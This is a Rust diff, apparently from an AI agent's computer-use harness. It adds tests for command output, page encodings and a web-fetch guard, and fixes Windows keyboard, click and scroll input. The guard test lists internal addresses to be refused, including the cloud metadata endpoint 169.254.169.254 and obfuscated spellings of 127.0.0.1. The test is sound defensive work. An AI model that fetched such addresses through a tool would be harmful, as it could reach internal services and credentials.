assert!(!html_to_text("<head lang=zh><title>不要</title></head><p>要</p>").contains("不要"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A command that prints more than a pipe holds is read to its end, not waited on until
|
||||||
|
/// the time runs out.
|
||||||
|
#[cfg(unix)]
|
||||||
|
#[test]
|
||||||
|
fn long_output_is_read_while_waiting() {
|
||||||
|
let run = |script: &str| Command::new("sh").args(["-c", script]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().unwrap();
|
||||||
|
let start = Instant::now();
|
||||||
|
match wait_piped(run("head -c 300000 /dev/zero | tr '\\0' a; echo oops >&2; exit 3"), &AtomicBool::new(false), Duration::from_secs(20)) {
|
||||||
|
Waited::Done(ok, out, err) => assert_eq!((ok, out.len(), err.trim()), (false, 300_000, "oops")),
|
||||||
|
_ => panic!("it should have finished"),
|
||||||
|
}
|
||||||
|
assert!(start.elapsed() < Duration::from_secs(10), "{:?}", start.elapsed());
|
||||||
|
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(false), Duration::from_millis(200)), Waited::TooLong));
|
||||||
|
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(true), Duration::from_secs(20)), Waited::Stopped));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A page is read in the encoding it says it is in.
|
||||||
|
#[test]
|
||||||
|
fn a_page_is_read_in_its_own_encoding() {
|
||||||
|
let (big5, _, _) = encoding_rs::BIG5.encode("<html><head><meta charset=\"big5\"><title>臺南市政府</title></head><body>公告事項</body></html>");
|
||||||
|
assert!(std::str::from_utf8(&big5).is_err(), "not UTF-8 to begin with");
|
||||||
|
assert!(page_text(&big5, "text/html").contains("臺南市政府"), "named by the page");
|
||||||
|
let (gbk, _, _) = encoding_rs::GBK.encode("<title>中文网页</title>");
|
||||||
|
assert!(page_text(&gbk, "text/html; charset=GB2312").contains("中文网页"), "named by the header");
|
||||||
|
let (old, _, _) = encoding_rs::BIG5.encode("<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=Big5\"><title>舊網站</title>");
|
||||||
|
assert!(page_text(&old, "").contains("舊網站"));
|
||||||
|
assert_eq!(page_text("純 UTF-8".as_bytes(), "text/html; charset=utf-8"), "純 UTF-8");
|
||||||
|
assert_eq!(page_text("沒說編碼".as_bytes(), ""), "沒說編碼");
|
||||||
|
assert!(page_text(&[b'a', 0xff, b'b'], "text/html").starts_with('a'), "bad bytes don't lose the page");
|
||||||
|
assert_eq!(charset_named("text/html; charset=\"x-unknown\"").as_deref(), Some("x-unknown"));
|
||||||
|
assert_eq!(page_text("未知編碼照 UTF-8".as_bytes(), "text/html; charset=x-unknown"), "未知編碼照 UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// web_fetch asks nothing, so it reaches the public web only.
|
||||||
|
#[test]
|
||||||
|
fn a_fetch_stays_on_the_public_web() {
|
||||||
|
for inside in [
|
||||||
|
"http://127.0.0.1:8080/admin",
|
||||||
|
"http://localhost:3000/",
|
||||||
|
"http://api.localhost/",
|
||||||
|
"http://192.168.1.1/",
|
||||||
|
"http://10.0.0.5:9200/_cat/indices",
|
||||||
|
"http://172.16.4.4/",
|
||||||
|
"http://169.254.169.254/latest/meta-data/",
|
||||||
|
"http://100.100.100.100/",
|
||||||
|
"http://0.0.0.0:8000/",
|
||||||
|
"http://[::1]:8080/",
|
||||||
|
"http://[fd00::1]/",
|
||||||
|
"http://[fe80::1]/",
|
||||||
|
"http://[::ffff:127.0.0.1]/",
|
||||||
|
// Other spellings of 127.0.0.1 the system reads as an address.
|
||||||
|
"http://2130706433/",
|
||||||
|
"http://0x7f.1/",
|
||||||
|
"http://user:pw@127.0.0.1/",
|
||||||
|
"http://example.com@127.0.0.1/",
|
||||||
|
] {
|
||||||
|
assert!(public_only(inside).is_err(), "{inside} was let through");
|
||||||
|
// (Refused before any connection: by this check, or as not an address at all.)
|
||||||
|
assert!(fetch(inside).is_err_and(|e| e.contains("只讀公開的網頁") || e.contains("不是網址")), "{inside}");
|
||||||
|
}
|
||||||
|
for outside in ["https://93.184.215.14/", "http://8.8.8.8:8080/x", "https://[2606:4700:4700::1111]/", "http://127.0.0.1.nip.invalid/"] {
|
||||||
|
assert!(public_only(outside).is_ok(), "{outside}");
|
||||||
|
}
|
||||||
|
assert_eq!(host_port("https://example.com/a?b=http://127.0.0.1/"), Some(("example.com".to_string(), 443)));
|
||||||
|
assert_eq!(host_port("http://[::1]:81/x"), Some(("::1".to_string(), 81)));
|
||||||
|
assert_eq!(host_port("http://example.com:8080"), Some(("example.com".to_string(), 8080)));
|
||||||
|
assert_eq!(host_port("http://example.com?x=1"), Some(("example.com".to_string(), 80)));
|
||||||
|
// A redirect is read from the page it came from, then checked like any address.
|
||||||
|
assert_eq!(follow("https://a.example/x/y?q=1", "http://127.0.0.1/"), "http://127.0.0.1/");
|
||||||
|
assert_eq!(follow("https://a.example/x/y?q=1", "//b.example/z"), "https://b.example/z");
|
||||||
|
assert_eq!(follow("https://a.example/x/y?q=1", "/z"), "https://a.example/z");
|
||||||
|
assert_eq!(follow("https://a.example/x/y?q=1", "z"), "https://a.example/x/z");
|
||||||
|
assert_eq!(follow("https://a.example", "z"), "https://a.example/z");
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn html_becomes_readable_text() {
|
fn html_becomes_readable_text() {
|
||||||
let html = "<html><head><title>T</title><style>.a{}</style></head><body><script>var x=1;</script><h1>標題</h1><p>第一段 文字 & 更多</p><div>中文</div></body></html>";
|
let html = "<html><head><title>T</title><style>.a{}</style></head><body><script>var x=1;</script><h1>標題</h1><p>第一段 文字 & 更多</p><div>中文</div></body></html>";
|
||||||
|
|
|
||||||
51
src/win.rs
51
src/win.rs
|
|
@ -8,8 +8,8 @@ use windows::Win32::Graphics::Gdi::{
|
||||||
DIB_RGB_COLORS, SRCCOPY,
|
DIB_RGB_COLORS, SRCCOPY,
|
||||||
};
|
};
|
||||||
use windows::Win32::UI::Input::KeyboardAndMouse::{
|
use windows::Win32::UI::Input::KeyboardAndMouse::{
|
||||||
SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP,
|
SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_HWHEEL, MOUSEEVENTF_LEFTDOWN,
|
||||||
MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY,
|
MOUSEEVENTF_LEFTUP, MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY,
|
||||||
};
|
};
|
||||||
use windows::Win32::UI::WindowsAndMessaging::{
|
use windows::Win32::UI::WindowsAndMessaging::{
|
||||||
GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint,
|
GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint,
|
||||||
|
|
@ -34,7 +34,9 @@ fn keys(vk: u16, up: bool, unicode: bool, ch: u16) {
|
||||||
let ki = KEYBDINPUT {
|
let ki = KEYBDINPUT {
|
||||||
wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }),
|
wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }),
|
||||||
wScan: ch,
|
wScan: ch,
|
||||||
dwFlags: if unicode { KEYEVENTF_UNICODE } else { if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) } },
|
// (A character is pressed and let go like any key: sent "down" twice, with no "up",
|
||||||
|
// every character was typed twice.)
|
||||||
|
dwFlags: (if unicode { KEYEVENTF_UNICODE } else { KEYBD_EVENT_FLAGS(0) }) | (if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) }),
|
||||||
time: 0,
|
time: 0,
|
||||||
dwExtraInfo: 0,
|
dwExtraInfo: 0,
|
||||||
};
|
};
|
||||||
|
|
@ -73,6 +75,19 @@ fn modifiers(flags: u64) -> (Vec<u16>, Vec<u16>) {
|
||||||
(down, up)
|
(down, up)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Do something with the mouse while the modifier keys of `flags` are held (shift-click,
|
||||||
|
/// ctrl-scroll…): they were dropped, so every such step was a plain one.
|
||||||
|
fn holding(flags: u64, act: impl FnOnce()) {
|
||||||
|
let (down, up) = modifiers(flags);
|
||||||
|
for k in &down {
|
||||||
|
keys(*k, false, false, 0);
|
||||||
|
}
|
||||||
|
act();
|
||||||
|
for k in &up {
|
||||||
|
keys(*k, true, false, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn move_to(x: f64, y: f64) {
|
pub fn move_to(x: f64, y: f64) {
|
||||||
let (nx, ny) = norm(x, y);
|
let (nx, ny) = norm(x, y);
|
||||||
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
||||||
|
|
@ -84,9 +99,9 @@ pub fn click(x: f64, y: f64, button: &str, count: i64, flags: u64) {
|
||||||
"middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP),
|
"middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP),
|
||||||
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
|
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
|
||||||
};
|
};
|
||||||
let _ = flags;
|
|
||||||
let (nx, ny) = norm(x, y);
|
let (nx, ny) = norm(x, y);
|
||||||
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
||||||
|
holding(flags, || {
|
||||||
for n in 1..=count.max(1) {
|
for n in 1..=count.max(1) {
|
||||||
if n > 1 {
|
if n > 1 {
|
||||||
std::thread::sleep(std::time::Duration::from_millis(80));
|
std::thread::sleep(std::time::Duration::from_millis(80));
|
||||||
|
|
@ -95,6 +110,7 @@ pub fn click(x: f64, y: f64, button: &str, count: i64, flags: u64) {
|
||||||
std::thread::sleep(std::time::Duration::from_millis(30));
|
std::thread::sleep(std::time::Duration::from_millis(30));
|
||||||
mouse(nx, ny, 0, up);
|
mouse(nx, ny, 0, up);
|
||||||
}
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
|
pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
|
||||||
|
|
@ -102,7 +118,7 @@ pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
|
||||||
"right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP),
|
"right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP),
|
||||||
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
|
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
|
||||||
};
|
};
|
||||||
let _ = flags;
|
holding(flags, || {
|
||||||
if let Some((x, y)) = points.first() {
|
if let Some((x, y)) = points.first() {
|
||||||
let (nx, ny) = norm(*x, *y);
|
let (nx, ny) = norm(*x, *y);
|
||||||
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
|
||||||
|
|
@ -117,15 +133,32 @@ pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
|
||||||
let (nx, ny) = norm(*x, *y);
|
let (nx, ny) = norm(*x, *y);
|
||||||
mouse(nx, ny, 0, up);
|
mouse(nx, ny, 0, up);
|
||||||
}
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn scroll(at: Option<(f64, f64)>, x: i32, y: i32, flags: u64) {
|
/// Wheel units for a scroll the harness gives in pixels (crate::computer::scroll_pixels:
|
||||||
let _ = (x, flags);
|
/// SCROLL_PIXELS_PER_STEP a step): one notch of the wheel (120) a step.
|
||||||
|
fn wheel(pixels: i32) -> u32 {
|
||||||
|
(pixels / crate::computer::SCROLL_PIXELS_PER_STEP * 120) as u32
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `dy`, `dx`: the harness's (vertical, horizontal) pixels, up and left positive — the order
|
||||||
|
/// every other system's scroll takes them in. (They were read the other way round, and the
|
||||||
|
/// vertical one thrown away: up and down did nothing, left and right scrolled up and down.)
|
||||||
|
pub fn scroll(at: Option<(f64, f64)>, dy: i32, dx: i32, flags: u64) {
|
||||||
if let Some((px, py)) = at {
|
if let Some((px, py)) = at {
|
||||||
move_to(px, py);
|
move_to(px, py);
|
||||||
}
|
}
|
||||||
// Windows wheels by 120ths of a line; the harness counts lines.
|
holding(flags, || {
|
||||||
mouse(0, 0, ((y * 120) as i32) as u32, MOUSEEVENTF_WHEEL);
|
// The wheel turns away from the person (positive) to go up, like the harness's dy;
|
||||||
|
// the sideways wheel is positive to the right, the harness's dx to the left.
|
||||||
|
if dy != 0 {
|
||||||
|
mouse(0, 0, wheel(dy), MOUSEEVENTF_WHEEL);
|
||||||
|
}
|
||||||
|
if dx != 0 {
|
||||||
|
mouse(0, 0, wheel(-dx), MOUSEEVENTF_HWHEEL);
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn type_text(text: &str) {
|
pub fn type_text(text: &str) {
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue